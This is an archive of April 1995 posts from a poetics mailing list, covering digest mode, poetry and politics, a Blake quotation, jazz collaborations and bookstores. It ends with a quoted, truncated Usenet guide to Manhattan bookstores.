Re: poetic consistency & another take on jazz & poetry

Thu 13 Apr 1995

---

dear Herb Levy --

i did not mean to say any shop had robbed me of voice, but rather to respond to joe amato's question about Why this idea of poetic consistency was around. yes, inhabiting written language with the inflections of one's spoken voice has got to be desirable. & happens whether we will or no, i should think.

& i like your reminder of how the musical can speak to this --

lisa samuels

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272. Ron Silliman

Re: What Is Digest?

Thu 13 Apr 1995

James Sherry wrote:

>
>I recently changed my relationship to poetics server by subscribing in
>Digest mode because I couldn't keep up with all the messages. And it is
a shock to me how much my feelings about the listserv have changed:
>
I am no longer following the arguments. I often delete the entire
message. When I read the message, the individual messages don't stand
out as they used to. The sense of community seems to have been fostered
by the volume in individual messages. I still get from one to five
personal messages a day and value them immensely, but the listserv seems
not to be a community in "Digest mode". It is the other who is not me.

Maybe I am alone in this, but I wonder if anyone else has similar or different responses to the new mode. Can "Digest" really digest the material and does that mean it re-morphs the material into an indistinguishable mass of components?
>

I've done the "digest" options with a couple of the high-tech marketing communications listserv groups I'm on and had exactly the same reaction that you've had. It reifies the discourse in a very curioius way.

I may be away from my email for about 3 weeks next month, followed by another 2 weeks shortly thereafter, and have thought about using the digest option just to keep from having days like yesterday in which I got a full 50 messages, over 40 from the poetics list, being multiplied out by 21. But that reaction to Digest-ism is a worry.

Ron

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273. Ron Silliman
Re: Standing
Thu 13 Apr 1995

Ed Foster wrote:

>
>no, poetry does not have politics, tho it may have political "subjects" and be used politically. snore,
>

Wrong, Ed, all poetry has politics, none moreso than the poetry that claims it has none.

Hell, even birds and bees have politics. (In Hawaii, the dominant ecological niches are fairly unstable. The dominant urban burb of the 1950s, the bulbul, is not that of the late '80s, the mynah. One sees the hand of polis everywhere....

People are starving.

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274. Ron Silliman
Re: true friendship
Thu 13 Apr 1995

Tom wrote:

"Opposition is true friendship" (for $50 and a chance
>> at the weekend cruise, identify that quotation).
>>
Since nobody's picked up the prize, I'll wager it's Duncan, perhaps Duncan quoting or paraphrasing Blake.

I could use the cruise.

Ron

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275. **Robert Drake**
Re: Poetry/Jazz, Hemphill, etc.
Thu 13 Apr 1995

Sheila Murphy sd:

> *I share Charles Alexander's interest in hearing about other people's collaborations involving words and music. Just this past week, I collaborated in a performance of my poems performed as a sonata (that is, equal voicing, rather than accompanied) with Megha Morganfield, gifted performer on Celtic harp. We've now been working together for two years, following a program we gave at a gallery here in Phoenix. We did a cassette tape called "The Weight and Feel of Harps" a while back, and it's been well received.*

a selection of Sheila's work w/ Megha Morganfield can be heard this week on the InYrEar free poetry hotline: [redacted]. the fidelity of longdistance phone lines probably dont do justice to their work, alas...

luigi

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276. **Robert Drake**
Re: Poetry/Jazz
Thu 13 Apr 1995

---

yet another item for the audiography: listmember Micheal Basinski's recordings w/ the East Buffalo Media Association...

lbd

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277. Robert Drake
Re: Poetry/Jazz etc...
Thu 13 Apr 1995

i am such an Idiot!

> *Sheila Murphy sd:*
>
> *I share Charles Alexander's interest in hearing about other people's collaborations involving words and music. Just this past week, I collaborated in a performance of my poems performed as a sonata (that is, equal voicing, rather than accompanied) with Megha Morganfield, gifted performer on Celtic harp. We've now been working together for two years, following a program we gave at a gallery here in Phoenix. We did a cassette tape called "The Weight and Feel of Harps" a while back, and it's been well received.*
>
> *a selection of Sheila's work w/ Megha Morganfield can be heard this week on the InYrEar free poetry hotline: [redacted]. the fidelity of longdistance phone lines probably dont do justice to their work, alas...*
>
> *luigi*

that number should be: [redacted], not my home phonenumber.
^^^^^^^^^^^^^

my appologies for those wasting a phonecall... tho it's nice to hear a coupla human voices now attached to the pixels.

lbd

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278. Marisa A Januzzi
Re: Standing
Thu 13 Apr 1995

Re: Tony Green's recent post...

Religion is the sex of the '90's.

Notice how much momentum can build here about power, politics, money, sex, and reputations, but religion!

After rereading Faust (Mephistopheles tells Faust he has to say "come in" 3x before it's possible) I agree that maybe there is no poetry without religion.

Come in?
Marisa Januzzi

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279. Loss Glazier
Re: true friendship
Thu 13 Apr 1995

Ron,

"Jerusalem" is full of ruminations on friendship especially deceitful friendship and "half" friendship. Maybe that was Duncan's source?

Otherwise, I like (without the word "friendship" though):

"The duty of Opposition is to turn out the government." (John Diefenbaker)

or

"There is nothing more dreadful to an author than neglect, compared with which reproach, hatred and opposition are names of happiness." (Samuel Johnson)

> *Tom wrote:*
>
> *"Opposition is true friendship" (for $50 and a chance at the weekend cruise, identify that quotation).*
>
> *Since nobody's picked up the prize, I'll wager it's Duncan, perhaps Duncan quoting or paraphrasing Blake.*
>
> *I could use the cruise.*
>
> *Ron*

↑ Index

280. Tom Mandel
Spencer's response to my explanations
Thu 13 Apr 1995

Spencer- Yes, we are friends, unless something happened to make that not so I mean. & my explanation of why I used "Spencer Selby" not "Spencer" in my previous post simply stands. That's why I used your full name. Charles Alexander, btw, refers to me in his posts as "Tom Mandel" - tho we are good friends. Ron Silliman, one of my old friends and someone I love deeply, call me Tom Mandel here, an dI just called him by his full name. Why is this a problem? Or have I mistakenly taken it to be one for you?

I don't know how to respond to most of what you cover in this most recent post other than to say that the question for me is what is something I can use productively inb my work. If you can use this set of related topics productively in your work, then that's a significant fact. Certainlyk, I was not trying to downplay the element of what I called agon in the rleation any poet sustains to what we seem to want to call the poetic community. I just pointed out that there is a vector of utility there also, something to push against which one can always count on being there to push against. Perhaps foolishly, I accept, even cherish the sense of exile that attaches to my sense of what it means that I Tom Mandel am a poet. I don't want the world to be different.

That said, I can't question the accuracy of your analysis as you draw out the manifold dishonesties and confusions attaching to this same world which I am saying I do not wish to change. That is, it is not this effect on the world which in my work I pose, in the sense that Duncan has been quoted here, as the ideal of poetry's power, and strive so to realize.

Tom Mandel

↑ Index

281. Alan Golding

Re: Knowledge & empowerment (...

Thu 13 Apr 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Not to invalidate Sheila's observation about airport bookstores, since overall it seems right on, but to offer an odd twist to it: the equal-best bookstore (along with one other) for poetry in Louisville is, strangely enough, at the Louisville airport. It's a Waterstone's, which I think is originally a British chain. It's the only airport bookstore where I've ever even seen poetry, and they actually have real, legitimate shelves of it with a diverse range of real books(i.e., not just rod McKuen or bowdlerized Dickinson).

Alan

↑ Index

282. **Joe Amato**
Re: poetic consistency
Thu 13 Apr 1995

---

lisa & herb, one reason i bring up the question of 'voice' as such is that it would seem to (stubbornly) persist despite all sorts of discourses as to the self's 'fragmented' or multiplicitous state... that is, there is on the one hand a tendency to celebrate our more schizoid impulses (and this is an absurdly terse way of intimating deleuze & guattari as well as work in cognitive science that predicates a more fluid, if you will, neural substrate) and on the other a reluctance on the part of poets (in general now) to give up on 'voice' as a category that reveals some (essential?) quality (of presence, what have you)...

i often wonder whether the 'me' that surfaces through, say, thirty odd poetic artifacts would so surface had i appended a different name to each... as so many have demonstrated, name alone is a powerful incitement to read accordingly...

but also this sense of voice, as you indicate lisa, seems to find its origin in a more primal urge to identify (i think this is what you're saying anyway)...and if on the one hand (this remark is BOUND to conflate threads) we've given up, some of us, on a crudely conceived identity politics, on the other we've NOT given up (institutionally speaking, that is) on attempting to cull some sense of authorial identity from the work, however aesthetically or personally conceived... or so it seems...

as a corollary there's also this question of ownership of the poem (a question that itself is problematized with the advent of things and practices electronic)and whether and to what extent 'voice' of the individual couldn't be predicated along more social, shared coordinates, as a form of social contract, if you will, a set of conventions shared uniquely yet in pre-meditated ways...

i ramble... but just so////

joe

↑ Index

283. **Tom Mandel**
Re: true friendship
Thu 13 Apr 1995

"Opposition is true friendship." I'm not at home but in Chicago
for the weekend (Pesach), so I can't quote c&v, but the
quote is from William Blake's _The Marriage of Heaven & Hell._

But, Ron yr close enuff -- the creews is yews.

With respect to poetry and politics, surely all
poetry is politics as you say; can Ed Foster mean
to deny this?

Is there not some;ting to struggle for and sustain?

Can someone quote (or I will upon my return home)
the lengthy blake passage (from one of the prophetic
books) which begins:

> "What is the price of experience
> is it bought for a song?"

Tom Mandel

↑ Index

284. Aldon L. Nielsen
Re: "Indians R Us"
Thu 13 Apr 1995

Forgive me for being shocked, but "PC Movement"??? come on -- Did I miss something -- Has the U.S. government actually recorded an apology to the Indians (as they did belatedly to the interned Japanese-Americans)? Are we all apologized out?

I just had this same discussion with somebody on my campus, somebody who is violently opposed to affirmative action, who asked me how long we had to pay for the sins of the past. Looked to me that the action was pretty much the other way -- that is, 250 years of several million Africans working for no pay + all former Indian lands producing capital for non-Indians = one hell of a lot of money that has gone into the economies in which we breathe, and to the republic for which we stand --

Now, I don't see much point or humor in the suggestion that all putatively white people jump off a bridge (which one? London in the desert?) -- nor do I think we should each run out into the street (or into our poems) shouting apologies -- nor do I know of any Indian who wants us to --

But, and here's what I find so troubling, what a transformation from the attitude expressed by one fairly good writer some years back:

"Fondly do we hope, fervently do we pray, that this mighty scourge of war may speedily pass away; yet if it be God's will that it continue until the wealth piled by the bondman's two hundred and fifty years of unrequited toil shall be sunk, and until every drop of blood drawn with the lash shall be paid by another drawn with the sword, as was said three thousand years ago, so still must it be said that the judgements of the Lord are true and righteous altogether."

This from someone so PC in his attitudes that he once supported the export of all black people from the US, Abraham Lincon (not the most progressive in his attitudes towards American Indians either).

A good read, for those interested, is Gerald Vizenor's _Manifest Manners: Postindian Warriors of Survivance_ -- (read his wild novel _The Heirs of Columbus_ while you're at it; you'll be glad you did.)

Meanwhile, let's shoot a few flaming arrows into all these straw men that keep popping up --(or is that virtual straw persons? the market near my office now sells tubs of yellowish substance advertised as "Real Margarine") --

↑ Index

285. Gary Sullivan
Blake quote for Tom
Thu 13 Apr 1995

Dear Tom:

It's "Enion's Complaint" from _The Four Zoas_. Here's the passage starting with "What is the price of Experience?":

> "What is the price of Experience? do men buy it for a song?
> Or wisdom for a dance in the street? No, it is bought with
> the price
> Of all that a man hath, his house, his wife, his children.
> Wisdom is sold in the desolate market where none come to
> buy,
> And in the wither'd field where the farmer plows for bread
> in vain.
>
> "It is an easy thing to triumph in the summer's sun
> And in the vintage & to sing on the waggon loaded with corn.
> It is an easy thing to talk of patience to the afflicted,
> To speak the laws of prudence to the houseless wanderer,
> To listen to the hungry raven's cry in wintry season
> When the red blood is fill'd with wine & with the marrow of
> lambs.
>
> "It is an easy thing to laugh at wrathful elements,
> To hear the dog howl at the wintry door, the ox in the
> slaughter house moan;
> To see a god on every wind & a blessing on every blast;
> To hear sound of love in the thunder storm that destroys our
> enemies' house;
> To rejoice in the blight that covers his field, & the

sickness that cuts off his children,
While our olive & vine sing & laugh round our door, & our
children bring fruits & flowers.

"Then the groan & the dolor are quite forgotten, & the slave
grinding at the mill,
And the captive in chains, & the poor in the prison, & the
soldier in the field
When the shatter'd bone hath laid him groaning among the
happier dead.

"It is an easier thing to rejoice in the tents of
prosperity:
Thus could I sing & thus rejoice: but it is not so with me."

I want a cruise, too, Tom! Geef me zee cruise!

Yours,

Gary

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286. FUNKHOUSER CHRISTOPH

Voice mail without the voice (was Digest)

Thu 13 Apr 1995

Dear James,

I switched to digest literally moments after you scorched (me &) the easily restorable anti-hegemony project a few weeks back.

I find it preferable reading through POETICS once a day, in the morning -- part extension of citrus & zazen ritual, part socio-artistic research -- rather than throughout all hours. The around-the-clock version became too twiggy & psychically draining. What it might be like if we were all locked in a Wojnarowiczian warehouse all day with each other!? I'm neither more or less inclined to print out or respond to what goes on around here as a digester. Though that's probably more a function that my main areas of interest / research / concern have yet to acheive much, if any, sustained inquiry over the past 2 years in this space. Though your question "Can digest really digest the material & does that mean it re-morphs the material into an indistinguishable mass of components" touches on something I've been considering --

D. N. Rodowick's essay "Audiovisual Culture and Interdisciplinary Knowledge," in _New Literary History_ (1995, 26: 111-121) describes ours as an "audiovisual culture," "a distinct era driven by innovations in telecommunications technology that is promoting the convergence of

previously distinct media and forms of data transmission." "Convergence" is one of the most definitive & emphatic buzzwords going, an academically sanctioned phrase, even, at Brown U. Rodowick's essay discusses how our formally organic public space (warehouse, salon, happening, cafe &c.) is becoming increasingly serialized and dispersed in space. So, yeah, the digest -- & to be clear, the medium -- certainly reduces our chances of instantaneous rapid fire cranial exchange. But it doesn't necessarily seem that these texts are made up of / by "indistinguishable mass of components," or are virtually re-morphed (?) material. Our letters, words, are leveled to the algorithmic manipulation of binary code, and have become "an abstract computational space." (Rodowick) But in our familiarities with people on the list, can't we say expressivity, if not personality, seems to come through in postings? People are relatively consistent in tone (or drone, you pick), so it doesn't seem as if the components are completely indistiguishable, but maybe. Whatever I am saying, it does *seem* like a "space" of some sort, &, given what my sense of the Electronic Poetry Center is, are *working* within.

POETICS seems intrinsically transversal, a hybridization of talking, typewriter, telephone (attitude, & other things). We only know of each other's readings by either public or private response. Let's acknowledge an abyss. It's an undefined and barely definable, highly contestable "space", and maybe we could chat about it until we are as blue in the face as in dream. As far as such engagement goes, amongst poets, who wants to discuss and contest what it is, or isn't? Speak and you shall be read in this space! (Not only that, your ideas will be archived and quoted.) Most non-elite poets are resistant to, if not violently against, technology (contributing somewhat to their own self-isolation) in sometimes connected yet always fragmentary cults around the world. We have it and (dare I say) should be talking about it.

It's an easily erasable slate, yes, but digest, for me, presents materials in a healthy way, given the medium. I was writing about the Sun Ra listserv, Saturn, last month, whose work I've been most impressed by as it serves to preserve and provide a continuum for an entire language and subculture. Some of what appeals to me about that particular list (which I also take as digest):

> There are quiet, resting periods on Saturn, spans of days at a time where there is no talk at all. This attribute testifies to the sanity of the list, whereby the persons involved also take time away from it for other satisfying and nurturing creative activities. It is non-obsessive and progressive, "inexplicable presence - Warm, intuitive/Rare vital - Essence energy" as Sun Ra says in the poem "Essence Energy". (Extensions Out, 16)

Sun Ra compared words to magic substances: they are combined and a reaction takes place. Words can change things. Such a concept is comparable with the living word, the "nommo" of the West African Dogon tribe where "The word is for all in this world; it must be exchanged, so that it goes and comes, for it is good to give and to receive the forces of life." (Jahn 124) In our unliberated present, in our non-oppositional tone on Saturn, we find not a dialectic as much as what Kamau Brathwaite calls a "tidalectic," a flow, and ebbing and flooding, erasure, coverage, interrelation, "like the movement of the ocean, coming from one continent, touching another, and then receding from the islands into echoes." (Brathwaite 9). Such a poetics sees expression as a journey setting out from a continent to a set of islands which is barely coming to be understood by its inhabitants.

I have nothing to propose
and I am proposing it

chris f

(w/ a shout out to kingston, ontario & santa cruz)

↑ Index

287. Hank Lazer
Re: true friendship
Thu 13 Apr 1995

---

quote ID =

isn't it "In opposition is true friendship"?

Blake - Marriage of Heaven & Hell
(Proverbs section?)

Cruise to where? Please say New Zealand....

Hank Lazer

↑ Index

288. George Bowering
Re: Jack Smith
Thu 13 Apr 1995

I always thought the greatest sentence ever uttered in a U.S. film was this one from Tony Curtis:

"yawnduh lies da castle of my fawduh."

↑ Index

289. George Bowering
jazz/music
Thu 13 Apr 1995

Can I use this discussion of jazz and poetry to ask whether anyone out there can tell ne something I have been wondering about for a long time?

Last I heard of Albert Ayler, he was found in the East River. Is that right? But I want to know the latest on Don Ayler. When Albert died, Don was reportedly in some house for the criminally insane or something. Can anyone tell me more about the story of these two great musicians I was lucky enough to hear live and up close?

↑ Index

290. Kali Tal
New Poetry from Viet Nam Generation, Inc.
Thu 13 Apr 1995

Viet Nam Generation & Burning Cities Press are pleased to announce the publication of a new volume of poetry, Number 6 in our White Noise series:

M.L. Liebler, STRIPPING THE ADULT CENTURY BARE

ISBN: 1-885215-09-6. $12. 88pp. Perfect bound.

STRIPPING THE ADULT CENTURY BARE can be ordered directly from Viet Nam Generation, Inc., 18 Center Rd., Woodbridge, CT 06525. 203/[redacted]. Fax: 203/[redacted]. Please include $1.50 for shipping and handling.

"M.L. Liebler writes with passion and an intense understanding of his subject matter. He wants his poems to catch fire in his audience's heart and burn down the apathy, ignorance, and hatred planted there and nurtured by not taking responsibility for one's own action. Liebler is primarily a performance poet, his poetry meant for the physical act of speaking out and talking back." --Faye Kicknowsway

"M.L. Liebler is on that great stream of the American Bard. His poems are a mix of advanced politics, lyrics of a tightly woven family, and the hunger to perform poetry and to perform it well. He is searching admist the throbs of the consonant and the flights of the vowel for a new and better life for all." --Ed Sanders

"M.L. Liebler is a tremendous source of poetry energy in The Motor City and beyond."
--John Sinclair

"M.L. Liebler is a complex mix of poet, university professor, performance poet, Lollapalooza performer and Christian writer... he has played a vital role in keeping the poetry scene alive during its dark days of the 70s and 80s." --_The Detroit News_

"Liebler writes close clipped verse of a political bent that reflects his anger and angst over the aftermath of the Vietnam War. He plumbs his soul, searching ut a distinctive voice that reflects his Michigan homeland and extends the legacy of noted Midwestern poet James Wright." --_The Woodstock Times_

BLUE
(for Lawrence Dike)

The cold is blue,
Unexposed
Blood. Wailing
Through softly bruised
Memories.
Tender mercies that change
Everything.

Birth rewritten
On a transparent window
Shade.
That's you rolling up
Tomorrow in the
Wind.

New futures always lay
Claim to investments that
No one
Wants to make.

--M.L. Liebler

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291. **Edward Foster**

Re: Knowledge & empowerment / electronic

Thu 13 Apr 1995

loss, you may be right, and yet there's much to be said for personal libraries, not dependent on anything but desire to read. then again, where does one get the issue of a magazine from a generation earlier if it's not in one's library already?

↑ Index

292. **Loss Glazier**
Brief Statistical Update
Thu 13 Apr 1995

Just thought it might be of interest... The official poetics list archive, as of Dec. 93, now contains 376436 words ...

Wonder how that compares to say, a small (?) encyclopedia?

Loss

↑ Index

293. **cris cheek**
Tom Cruise
Thu 13 Apr 1995

---

the harassment of the innocent by the consciousness of the infamous

or - an embarassment of breeches

(I'll be in the pool, or asleep in a cabin. Please give me a shout when the deck games get going.)

O blister! my puree to fantasy. "Listen you dutiful squirt."
'Poetree eez note a lugzuoree'
Necessity?

↑ Index

294. **cris cheek**
Re: poeticslist serve and desire / the 39 steps
Thu 13 Apr 1995

---

sleeps leased this bauble boo--boo. a cut and trusted too cute dream agreed to pay for the privelege. lurkers awake and step! to angels whispering "you grass". his tread-worn flat. trees keening out of a naive silence - and counting

↑ Index

295. **Edward Foster**
Re: Standing
Thu 13 Apr 1995

---

sorry, ron, but it's not true unless your name is althusser. yes, i recognize the line, but viewing politics as the great ur-god is just mystification, yet another muse. the french, thank heavens, went home.

↑ Index

296. **Loss Glazier**

Re: Knowledge & empowerment / electronic

Thu 13 Apr 1995

> *loss, you may be right, and yet there's much to be said for personal libraries, not dependent on anything but desire to read. then again, where does one get the issue of a magazine from a generation earlier if it's not in one's library already?*

This brings up an interesting point. First, not to overlook the richness of one's library. A constant source of encouragement. But the scene is changing. And poetry people might wish to take note. I still insist that an early issue of _C_ is hardly available to most. But think of this... big libraries, for example, U of Mich and U of CA Berkeley, are putting tremendous efforts into _converting_ past issues of magazines to digital format. What do they choose? You guessed it, the 100 most used mags from Readers Guide or whatever. Like there aren't enough copies of _Time_ or even academic journals around. UC Berkeley just announced a project like this to the tune of $4 million, $1 million per year over four years...

So where does that leave us?

We must see that _our_ backlist makes it into this digital source of available info. That is why I've been so enthusiastic about the cataloging project at hand. And I've had some offers from some good publishers about putting back issues up. (_Witz_ for one, is very active in this regard. And Luigi Bob Drake is working assiduously with TREE.)

So really, though I _adore_ my copies of C, of which I have a couple and read with great relish, I cannot resist reflecting on my poetic upbringing and the comments like "when Duncan wrote ... in _Caterpillar_ and though I wanted to know, it was out of reach. Hence, Duncan was removed from a genuine interest...

All to say, a recognition of the prospects at hand. I again encourage magazine publishers to think in such a way that will land this material into hands of interested readers. I urge those of you out there who are publishing think about this; let's act. I've secured computer resources and this is an opportunity not to extend production but to move these words to people who may very well be receptive...

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297. **Lindz Williamson**
Re: "Indians R Us"
Thu 13 Apr 1995

On Thu, 13 Apr 1995, Aldon L. Nielsen wrote:

> Forgive me for being shocked, but "PC Movement"??? come on --
> Did I miss something -- Has the U.S. government actually recorded an
> apology to the Indians (as they did belatedly to the interned
> Japanese-Americans)? Are we all apologized out?
>

Aldon,

I just don't see how apologies really make anything better. I was just downtown and the Hudson's bay Company was advertising its 325 birthday, boasting of 325 years of service and excellence- or as I view it 300 years of rape and pillage, but that doesn't mean I'm going to feel guilty about the bikini I bought. Just as how my Japanese friends feel nothing for the documents that the Canadian gov't released concerning the Japanese redress mov't. How does sorry and $500 compensate for the destruction of a family. I acknowledge the shit in my ancestor's history and believe that it should never be forgotten, but I will not kiss anymore ass to compensate for being born white.

Nor do i think relabeling people and cultures is going to eliminate racism and that's where the PC mov't drives me nuts. The Canadian gov't has recently put a lot of investment in the ministry of Ethnic Affairs, and is now shocked that they are receiving bad press for reverse discrimination. The word ethnic is now assumed to mean anything non-white. Shouldn't I be offended that my Norwegian, Scottish, German, Newfie background is considered non ethnic. Likewise would you want to be published just because you were considered to be an ethnic writer, not necessarily talented?

Lindz

Ps Hey Ryan congrats on the upcoming book, can't wait to read it. Now if only George (Jorge) would plug you, me, and Reg for that anthology life would be just fine.

↑ Index

298. **Lindz Williamson**
music
Thu 13 Apr 1995

Just picked up the new Morphine disc, it's beautiful, I highly recommend it, there' something sos eductive about the baritone sax

Lindz

↑ Index

299. Ted Pelton
nyc bookstores
Thu 13 Apr 1995

I'm surprised to hear that NYC doesn't have good bookstores. Living in a place that really doesn't have good bookstores, Sheboygan Wisconsin, I was looking forward to my NEH Summer Sem this June & July in NYC to catch up on the new books I hear everyone on the list talking about. Imagine my surprise upon hearing that the Big Apple is so bereft of good books!

I would extend what Sheila says out from airports to almost all bookstores -- Waldenbooks, Little Professor (those the chains we have here), etc, as well as most of the respectable coffee-house types. But there is at least one good bookstore in the state of Wisconsin that I know of, and another that's passable, so I would assume there's at least one or two in NY.

In anticipation of my summer there, could I hear from anyone who wants to contest Kenneth Goldsmith's sad assessment of NY's finest (bookstores, that is)? I don't expect to be able to find everything in SPD, but find it hard to believe I won't be able to find any of it there. And there's no Fodor's radical poetries guidebook, unfortunately.

Ted Pelton

↑ Index

300. Ted Pelton
Re: digest
Thu 13 Apr 1995

For me with digest it's changed space that's at issue. I did it (set digest option) to save space, so my files weren't enormous lists and so I could just zip through quickly. But a corresponding inattentiveness has come along with it. I spend less time, but/so I spend less time, if you see what I mean. And it's easier to let things back up. My silence for about the past month has been due to starting to let my digest messages back up to the point where there were five, then ten, then more and it didn't look like much so I wasn't so alarmed at first. Then I realized the work in store for me catching up and let it go even longer. Now I'm getting back to it, but had to decide whether to catch up or start again with the current messages. If I read something that I wanted to respond to but was posted 2 weeks ago, I couldn't respond, really, and I did, and didn't. So I'm doing both at once: reading messages 2-3 weeks old that I can't talk to

(Hallmark and Why Teach, for instance) and current messages I can. It's strangely like literature: reading the past that's alluded to in current conversation as well as who's doing what now. I didn't like digest at first, but now I'm getting into it. I never used to read everything, but selected things by subject when I didn't have time. Now I at least skim everything and the "community" is there, even if it is arbitrarily selected as Loss suggests. It isn't as easy to save particular entries anymore either, nor is it as easy to find things in my own archives. There's good and bad, again as Loss tells us.

As for another subject Loss raises, that all this is saved, I wonder if it ever will be read. At first I was unnerved by the fact that these messages were all saved and that this thus constituted "publication" in a sense -- I'm so horrified by most of what I write that most of it gets thrown out. About half the time I write messages I erase them before sending them out, and that's just because I don't even want them read once, let alone them being electronicly stored forever (or at least until SUNY goes bankrupt). But with a medium that produces so much language that we have trouble keeping up with it in our own time, I wonder what the chances are of these things ever being read. It reminds me of a desire a pop-culture scholar expressed to me a few years ago: that every moment of television broadcasting, commercials and all, on all channels and cables stations, should be recorded somewhere and preserved, to be a record of this medium, its expressions, just as they happen. What would result (and perhaps already is resulting if someone somewhere is already doing this, which wouldn't surprise me) is an amount of stored information far in excess of what could actually be experienced: one can't nearly watch everything that is happening right now, much less everything that was broadcast at some time in the past (now, from some future vantage point). OK, I'm sure _someone_ will delve into this stuff ("Hi, future! Have you cured AIDS yet?") but its enormity seems so unmanageable to me that my hat is off to that future scholar. But then I haven't gone into these archives myself. Loss, how is it organized? Could you look for a specific post, or sender? I suppose I'm thinking of future digest recipients, as it were, reading a past as if a present (although technological innovations will of course one day make all this stuff we're so enamored of resemble 8-track tape or hieroglyphed papyrus). Could I just pick out posts by, say, Jim Pangborn (hi, Jim!), and skip all the other stuff? I suppose that which is saved can always be indexed, later if not now. But think of it accumulating, day after day, year after year, in many more forums that we aren't even aware of now. Will there come a point when we decide "Fuck the present, there's far too much past to deal with"? I think the tendency will always be (and increasingly?) more toward "Fuck the past, I have too much present to deal with".

Ted Pelton

↑ **Index**

301. Loss Glazier
Re: nyc bookstores
Fri 14 Apr 1995

Ted,

My thought is that it's always easy, if you live in New York, to say there are no good bookstores. True, I'll go into _any_ bookstore, even the most commercial in hopes of finding _something_ but I can't believe there isn't fun to be had...

For one thing, there's an online list of nyc bookstores. If you use gopher and therefore veronica and can do a search like bookstores and new york, you'll get a guide.

I always like the French bookstore over (where?) is it Rodkefeller Center (the big Christmas tree) where there's lot's of stuff in foreign languages.

There's the "wise men fish here" place. What's the name of that? Mid-town.

And of course the Strand. What - Broadway, up from G Village.

And there's one place I haven't found since Ted Joans took me there years ago. In the Village, what West Village. Not far from one of those city playgrounds where people play outdoor chess at the same table for years. I wish I could remember the name. It had a store front window and inside, you know the first edition thing, signed copies, etc., but what an incredible place. If anyone on the list could identify this. I'd be grateful.

Of course once or twice I've been lucky when in NYC that my visit coincided with the Small Press Expo or whatever it's called, the full range of Hanuman titles, lots of other stuff.

But I'd also be interested in hearing about the out of the way place, for the next voyage out from Buffalo. (Not that Buffalo could complain, with Talking Leaves, yet the smaller used places (like I've found in Chicago and New Orleans) are always the charm.

There is even a used place across the street from Columbia, no (to the east)? Though I don't think I got anything there that changed my life.

But I'd be interested in hearing some names/address of places...

All best,
Loss

↑ Index

302. **Loss Glazier**
Re: nyc bookstores (long)
Fri 14 Apr 1995

Ted,

I went ahead and go the online list for you. If anyone on the list has comments about any of these - or can identify that spot in the village, I'd be grateful.

(Oh yes, Shakespeare and St. Mark's also good for new books...)

Here goes:

From: [redacted]
Newsgroups: rec.arts.books,rec.arts.sf.written,rec.answers,news.answers
Subject: Bookstores in New York City (NYC) List (rec.arts.books)
Keywords: monthly
Date: 25 Jan 93 16:35:22 GMT
Followup-To: rec.arts.books
Organization: AT&T
Supersedes: <[redacted]>

Archive-name: books/stores/nyc

Last change:
Sun Jan 24 08:31:30 EST 1993

Changes:
(re-arranged order to reflect geography better, a few street
numbers added, etc.)
Book Source (16th btwn 5th Avenue & Union Square)--name added
Cinemabilia (dropped, apparently went out of business)
Oriental Culture Enterprises (new hours)
Computer Book Works (25 Warren between Church and Broadway)

Copies of this article may be obtained by anonymous ftp to pit-manager.mit.edu (18.172.1.27) under /pub/usenet/news.answers/books/stores/nyc.Z. Or, send email to [redacted] with the subject line "send usenet/news.answers/books/stores/nyc", leaving the body of the message empty.

[Note 1: Yes, I realize that I have covered only Manhattan and New York City covers four other boroughs. Further listings are welcome.]

[Note 2: I collected these comments from a variety of people. I personally have no knowledge of many of these places and take no responsibility if you buy a book you don't enjoy. :-) Phone numbers and precise addresses can be gotten

by calling directory assistance at [redacted]. Call ahead for precise hours, as even when I list them they are subject to change.]

[Note 3: I am cross-posting this to rec.arts.sf.written, but the bookstores listed include *all* types of bookstores, so please don't tell me that a particular store has a limited SF section unless I have specifically claimed otherwise.]

Working south through Manhattan:
==========UPTOWN==========
NRS Books (used) (118th & Amsterdam, across from Columbia U)
Cavernous, twisty store; small but often interesting. Mixed salespeople--some very good. A gamble. Identify the mystery quote of the day and get an additional 20% off your purchase. Paul, the owner, used to have a weakness for complete sets--old encyclopedias, bound collections of American Heritage, and so on.
Extensive humanities and soc. sci. sections, very reasonable prices, and lots of gems.

??? Used Books (115th & Amsterdam, above the post office)
I've never been there--I think they have a lot of used course books.

Columbia Univ. Bookstore (Barnes & Noble) (Broadway and 115th) The usual Barnes & Noble selection as well as textbooks for courses at Columbia. Higher prices than many other stores, but a very large selection, even for B&N. The downtown store has textbooks for NYU.

Barnard Bookforum (Broadway and 115th)
A very good bookstore with many of Barnard's textbooks, plus a generally strong selection and helpful staff. Surprising Russian-language section in the back.

Papyrus (Broadway & 114th)
A fairly large collection of left-wing books and magazines (on film, literature, etc., as well as politics).
"I'm not sure if they're worth a special trip, but check them out if you're in the neighborhood."

Pomander Books (955 West End Avenue--also described as Broadway at 107th, on the SW corner, down the stairs) ([redacted]). A good used-book store. This is the same bookstore that was next to the Thalia. Lots of art books, some hard to find. If it matters, West End runs into Broadway just north of there, which is why the address is misleading.

Paperback Discounter (west side of Broadway just south of 94th Street). There are lots of used and otherwise discounted paperbacks, but the

collection, which is eclectic and interesting, is--by those very attributes--not very reliable. (They also rent videotapes, and if you look mainly at the signs in the window you'll notice an ad for VCR repair that might distract you from the display of paperbacks in the window.)

Black Books Plus (Amsterdam and 94th)
Specialty is Black interest and Third World concerns.

Funny Business (northwest corner of Amsterdam and 93rd)
A comic book store of unknown quality.

The Military Bookman (29 East 93rd) ([redacted])
Specializing in used military books. Their selection is
excellent, but they are usually a bit pricey. It's the
sort of place that military buffs all know about, but
call only as a last resort. They issue a catalog (about
3 times a year), and otherwise engage in mail order.
(One poster reports that they contacted him recently about
a book he had told them he was looking for at least three
years ago, so they keep track of these things.)
No credit card/phone orders.

Kitchen Arts & Letters, Inc. (1435 Lexington Ave at 93rd) ([redacted]). Quoting from their brochure: "the country's largest store devoted completely to books on food and wine. With well over 7000 cooking titles and access to thousands of out-of-print titles through our free search service..." From a reader: "While the sale prices at Jessica's Biscuit beat these peoples' full-list prices, this probably is a good place to keep in mind for unusual and hard to find cookery books. Sounds like a fun place to browse, in any case..." Does credit card and phone orders. (Mon 1-6, Tue-Fri 10-6:30, Sat 11-6. Summer hours less regular; mostly closed Saturdays in July and open only 2-3 days per week in August.)

The Corner Bookstore (Madison at 93rd)
They specialize in children's books and travel books, but
they also have a film connection: not only is this the bookstore
where Nick Nolte found the "Renata Halpern" children's book in
THE PRINCE OF TIDES, it's also just one block south of
the red brick fortress/castle facade featured in THE FISHER KING.

Murder Ink (Broadway btwn 92nd and 93rd)
As you might suspect, it specializes in mysteries and had a
